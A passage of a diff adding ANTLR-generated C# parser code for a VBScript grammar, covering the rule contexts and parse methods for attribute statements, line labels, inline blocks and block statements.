GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public AttributeStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_attributeStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterAttributeStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitAttributeStmt(this); + } + } + + [RuleVersion(0)] + public AttributeStmtContext attributeStmt() { + AttributeStmtContext _localctx = new AttributeStmtContext(Context, State); + EnterRule(_localctx, 48, RULE_attributeStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 670; + Match(ATTRIBUTE); + State = 671; + Match(WS); + State = 672; + implicitCallStmt_InStmt(); + State = 674; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 673; + Match(WS); + } + } + + State = 676; + Match(EQ); + State = 678; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 677; + Match(WS); + } + } + + State = 680; + literal(); + State = 691; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,70,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 682; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 681; + Match(WS); + } + } + + State = 684; + Match(COMMA); + State = 686; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 685; + Match(WS); + } + } + + State = 688; + literal(); + } + } + } + State = 693; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,70,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class LineLabelContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP() { return GetToken(VBScriptParser.INLINE_SEP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public LineLabelContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_lineLabel; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLineLabel(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLineLabel(this); + } + } + + [RuleVersion(0)] + public LineLabelContext lineLabel() { + LineLabelContext _localctx = new LineLabelContext(Context, State); + EnterRule(_localctx, 50, RULE_lineLabel); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 694; + ambiguousIdentifier(); + State = 696; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 695; + Match(WS); + } + } + + State = 698; + Match(INLINE_SEP); + State = 700; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,72,Context) ) { + case 1: + { + State = 699; + Match(WS); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class InlineBlockContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public InlineBlockStmtContext[] inlineBlockStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public InlineBlockStmtContext inlineBlockStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public InlineBlockContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_inlineBlock; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterInlineBlock(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitInlineBlock(this); + } + } + + [RuleVersion(0)] + public InlineBlockContext inlineBlock() { + InlineBlockContext _localctx = new InlineBlockContext(Context, State); + EnterRule(_localctx, 52, RULE_inlineBlock); + int _la; + try { + int _alt; + State = 716; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,77,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 702; + inlineBlockStmt(); + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + { + State = 704; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & -216067229064628226L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & -270216225676591105L) != 0) || ((((_la - 131)) & ~0x3f) == 0 && ((1L << (_la - 131)) & 361413870062927807L) != 0) || ((((_la - 208)) & ~0x3f) == 0 && ((1L << (_la - 208)) & 33793L) != 0)) { + { + State = 703; + inlineBlockStmt(); + } + } + + State = 709; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + State = 709; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,74,Context) ) { + case 1: + { + State = 706; + Match(INLINE_SEP); + State = 707; + inlineBlockStmt(); + } + break; + case 2: + { + State = 708; + Match(INLINE_SEP); + } + break; + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 711; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,75,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 714; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,76,Context) ) { + case 1: + { + State = 713; + Match(INLINE_SEP); + } + break; + } + } + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class InlineBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AppActivateStmtContext appActivateStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public AttributeStmtContext attributeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public BeepStmtContext beepStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ChDirStmtContext chDirStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ChDriveStmtContext chDriveStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public CloseStmtContext closeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ConstStmtContext constStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public DateStmtContext dateStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public DeleteSettingStmtContext deleteSettingStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public DeftypeStmtContext deftypeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public DoLoopStmtContext doLoopStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public EndStmtContext endStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public EraseStmtContext eraseStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ErrorStmtContext errorStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ExitStmtContext exitStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ExplicitCallStmtContext explicitCallStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public FilecopyStmtContext filecopyStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ForEachStmtContext forEachStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ForNextStmtContext forNextStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public GetStmtContext getStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public GoSubStmtContext goSubStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public GoToStmtContext goToStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public InlineIfThenElseStmtContext inlineIfThenElseStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplementsStmtContext implementsStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public InputStmtContext inputStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public KillStmtContext killStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public MidStmtContext midStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public LetStmtContext letStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public LineInputStmtContext lineInputStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public LoadStmtContext loadStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public LockStmtContext lockStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public LsetStmtContext lsetStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public MacroIfThenElseStmtContext macroIfThenElseStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public MkdirStmtContext mkdirStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public NameStmtContext nameStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public OnErrorStmtContext onErrorStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public OnGoToStmtContext onGoToStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public OnGoSubStmtContext onGoSubStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public OpenStmtContext openStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public PrintStmtContext printStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public PutStmtContext putStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public RaiseEventStmtContext raiseEventStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public RandomizeStmtContext randomizeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public RedimStmtContext redimStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ResetStmtContext resetStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ResumeStmtContext resumeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ReturnStmtContext returnStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public RmdirStmtContext rmdirStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public RsetStmtContext rsetStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SavepictureStmtContext savepictureStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SaveSettingStmtContext saveSettingStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SeekStmtContext seekStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SelectCaseStmtContext selectCaseStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SendkeysStmtContext sendkeysStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SetattrStmtContext setattrStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SetStmtContext setStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public StopStmtContext stopStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TimeStmtContext timeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public UnloadStmtContext unloadStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public UnlockStmtContext unlockStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public VariableStmtContext variableStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public WhileWendStmtContext whileWendStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public WidthStmtContext widthStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public WithStmtContext withStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public WriteStmtContext writeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InBlockContext implicitCallStmt_InBlock() { + return GetRuleContext(0); + } + public InlineBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_inlineBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterInlineBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitInlineBlockStmt(this); + } + } + + [RuleVersion(0)] + public InlineBlockStmtContext inlineBlockStmt() { + InlineBlockStmtContext _localctx = new InlineBlockStmtContext(Context, State); + EnterRule(_localctx, 54, RULE_inlineBlockStmt); + try { + State = 785; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,78,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 718; + appActivateStmt(); + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + State = 719; + attributeStmt(); + } + break; + case 3: + EnterOuterAlt(_localctx, 3); + { + State = 720; + beepStmt(); + } + break; + case 4: + EnterOuterAlt(_localctx, 4); + { + State = 721; + chDirStmt(); + } + break; + case 5: + EnterOuterAlt(_localctx, 5); + { + State = 722; + chDriveStmt(); + } + break; + case 6: + EnterOuterAlt(_localctx, 6); + { + State = 723; + closeStmt(); + } + break; + case 7: + EnterOuterAlt(_localctx, 7); + { + State = 724; + constStmt(); + } + break; + case 8: + EnterOuterAlt(_localctx, 8); + { + State = 725; + dateStmt(); + } + break; + case 9: + EnterOuterAlt(_localctx, 9); + { + State = 726; + deleteSettingStmt(); + } + break; + case 10: + EnterOuterAlt(_localctx, 10); + { + State = 727; + deftypeStmt(); + } + break; + case 11: + EnterOuterAlt(_localctx, 11); + { + State = 728; + doLoopStmt(); + } + break; + case 12: + EnterOuterAlt(_localctx, 12); + { + State = 729; + endStmt(); + } + break; + case 13: + EnterOuterAlt(_localctx, 13); + { + State = 730; + eraseStmt(); + } + break; + case 14: + EnterOuterAlt(_localctx, 14); + { + State = 731; + errorStmt(); + } + break; + case 15: + EnterOuterAlt(_localctx, 15); + { + State = 732; + exitStmt(); + } + break; + case 16: + EnterOuterAlt(_localctx, 16); + { + State = 733; + explicitCallStmt(); + } + break; + case 17: + EnterOuterAlt(_localctx, 17); + { + State = 734; + filecopyStmt(); + } + break; + case 18: + EnterOuterAlt(_localctx, 18); + { + State = 735; + forEachStmt(); + } + break; + case 19: + EnterOuterAlt(_localctx, 19); + { + State = 736; + forNextStmt(); + } + break; + case 20: + EnterOuterAlt(_localctx, 20); + { + State = 737; + getStmt(); + } + break; + case 21: + EnterOuterAlt(_localctx, 21); + { + State = 738; + goSubStmt(); + } + break; + case 22: + EnterOuterAlt(_localctx, 22); + { + State = 739; + goToStmt(); + } + break; + case 23: + EnterOuterAlt(_localctx, 23); + { + State = 740; + inlineIfThenElseStmt(); + } + break; + case 24: + EnterOuterAlt(_localctx, 24); + { + State = 741; + implementsStmt(); + } + break; + case 25: + EnterOuterAlt(_localctx, 25); + { + State = 742; + inputStmt(); + } + break; + case 26: + EnterOuterAlt(_localctx, 26); + { + State = 743; + killStmt(); + } + break; + case 27: + EnterOuterAlt(_localctx, 27); + { + State = 744; + midStmt(); + } + break; + case 28: + EnterOuterAlt(_localctx, 28); + { + State = 745; + letStmt(); + } + break; + case 29: + EnterOuterAlt(_localctx, 29); + { + State = 746; + lineInputStmt(); + } + break; + case 30: + EnterOuterAlt(_localctx, 30); + { + State = 747; + loadStmt(); + } + break; + case 31: + EnterOuterAlt(_localctx, 31); + { + State = 748; + lockStmt(); + } + break; + case 32: + EnterOuterAlt(_localctx, 32); + { + State = 749; + lsetStmt(); + } + break; + case 33: + EnterOuterAlt(_localctx, 33); + { + State = 750; + macroIfThenElseStmt(); + } + break; + case 34: + EnterOuterAlt(_localctx, 34); + { + State = 751; + mkdirStmt(); + } + break; + case 35: + EnterOuterAlt(_localctx, 35); + { + State = 752; + nameStmt(); + } + break; + case 36: + EnterOuterAlt(_localctx, 36); + { + State = 753; + onErrorStmt(); + } + break; + case 37: + EnterOuterAlt(_localctx, 37); + { + State = 754; + onGoToStmt(); + } + break; + case 38: + EnterOuterAlt(_localctx, 38); + { + State = 755; + onGoSubStmt(); + } + break; + case 39: + EnterOuterAlt(_localctx, 39); + { + State = 756; + openStmt(); + } + break; + case 40: + EnterOuterAlt(_localctx, 40); + { + State = 757; + printStmt(); + } + break; + case 41: + EnterOuterAlt(_localctx, 41); + { + State = 758; + putStmt(); + } + break; + case 42: + EnterOuterAlt(_localctx, 42); + { + State = 759; + raiseEventStmt(); + } + break; + case 43: + EnterOuterAlt(_localctx, 43); + { + State = 760; + randomizeStmt(); + } + break; + case 44: + EnterOuterAlt(_localctx, 44); + { + State = 761; + redimStmt(); + } + break; + case 45: + EnterOuterAlt(_localctx, 45); + { + State = 762; + resetStmt(); + } + break; + case 46: + EnterOuterAlt(_localctx, 46); + { + State = 763; + resumeStmt(); + } + break; + case 47: + EnterOuterAlt(_localctx, 47); + { + State = 764; + returnStmt(); + } + break; + case 48: + EnterOuterAlt(_localctx, 48); + { + State = 765; + rmdirStmt(); + } + break; + case 49: + EnterOuterAlt(_localctx, 49); + { + State = 766; + rsetStmt(); + } + break; + case 50: + EnterOuterAlt(_localctx, 50); + { + State = 767; + savepictureStmt(); + } + break; + case 51: + EnterOuterAlt(_localctx, 51); + { + State = 768; + saveSettingStmt(); + } + break; + case 52: + EnterOuterAlt(_localctx, 52); + { + State = 769; + seekStmt(); + } + break; + case 53: + EnterOuterAlt(_localctx, 53); + { + State = 770; + selectCaseStmt(); + } + break; + case 54: + EnterOuterAlt(_localctx, 54); + { + State = 771; + sendkeysStmt(); + } + break; + case 55: + EnterOuterAlt(_localctx, 55); + { + State = 772; + setattrStmt(); + } + break; + case 56: + EnterOuterAlt(_localctx, 56); + { + State = 773; + setStmt(); + } + break; + case 57: + EnterOuterAlt(_localctx, 57); + { + State = 774; + stopStmt(); + } + break; + case 58: + EnterOuterAlt(_localctx, 58); + { + State = 775; + timeStmt(); + } + break; + case 59: + EnterOuterAlt(_localctx, 59); + { + State = 776; + unloadStmt(); + } + break; + case 60: + EnterOuterAlt(_localctx, 60); + { + State = 777; + unlockStmt(); + } + break; + case 61: + EnterOuterAlt(_localctx, 61); + { + State = 778; + variableStmt(); + } + break; + case 62: + EnterOuterAlt(_localctx, 62); + { + State = 779; + whileWendStmt(); + } + break; + case 63: + EnterOuterAlt(_localctx, 63); + { + State = 780; + widthStmt(); + } + break; + case 64: + EnterOuterAlt(_localctx, 64); + { + State = 781; + withStmt(); + } + break; + case 65: + EnterOuterAlt(_localctx, 65); + { + State = 782; + writeStmt(); + } + break; + case 66: + EnterOuterAlt(_localctx, 66); + { + State = 783; + implicitCallStmt_InStmt(); + } + break; + case 67: + EnterOuterAlt(_localctx, 67); + { + State = 784; + implicitCallStmt_InBlock(); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class BlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AppActivateStmtContext appActivateStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public AttributeStmtContext attributeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public BeepStmtContext beepStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ChDirStmtContext chDirStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ChDriveStmtContext chDriveStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public CloseStmtContext closeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ConstStmtContext constStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public DateStmtContext dateStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public DeleteSettingStmtContext deleteSettingStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public DeftypeStmtContext deftypeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public DoLoopStmtContext doLoopStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public EndStmtContext endStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public EraseStmtContext eraseStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ErrorStmtContext errorStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ExitStmtContext exitStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ExplicitCallStmtContext explicitCallStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public FilecopyStmtContext filecopyStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ForEachStmtContext forEachStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ForNextStmtContext forNextStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public GetStmtContext getStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public GoSubStmtContext goSubStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public GoToStmtContext goToStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public InlineIfThenElseStmtContext inlineIfThenElseStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public IfThenElseStmtContext ifThenElseStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplementsStmtContext implementsStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public InputStmtContext inputStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public KillStmtContext killStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public MidStmtContext midStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public LetStmtContext letStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public LineInputStmtContext lineInputStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public LoadStmtContext loadStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public LockStmtContext lockStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public LsetStmtContext lsetStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public MacroIfThenElseStmtContext macroIfThenElseStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public MkdirStmtContext mkdirStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public NameStmtContext nameStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public OnErrorStmtContext onErrorStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public OnGoToStmtContext onGoToStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public OnGoSubStmtContext onGoSubStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public OpenStmtContext openStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public PrintStmtContext printStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public PutStmtContext putStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public RaiseEventStmtContext raiseEventStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public RandomizeStmtContext randomizeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public RedimStmtContext redimStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ResetStmtContext resetStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ResumeStmtContext resumeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ReturnStmtContext returnStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public RmdirStmtContext rmdirStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public RsetStmtContext rsetStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SavepictureStmtContext savepictureStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SaveSettingStmtContext saveSettingStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SeekStmtContext seekStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SelectCaseStmtContext selectCaseStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SendkeysStmtContext sendkeysStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SetattrStmtContext setattrStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SetStmtContext setStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public StopStmtContext stopStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TimeStmtContext timeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public UnloadStmtContext unloadStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public UnlockStmtContext unlockStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public VariableStmtContext variableStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public WhileWendStmtContext whileWendStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public WidthStmtContext widthStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public WithStmtContext withStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public WriteStmtContext writeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InBlockContext implicitCallStmt_InBlock() { + return GetRuleContext(0); + } + public BlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_blockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void 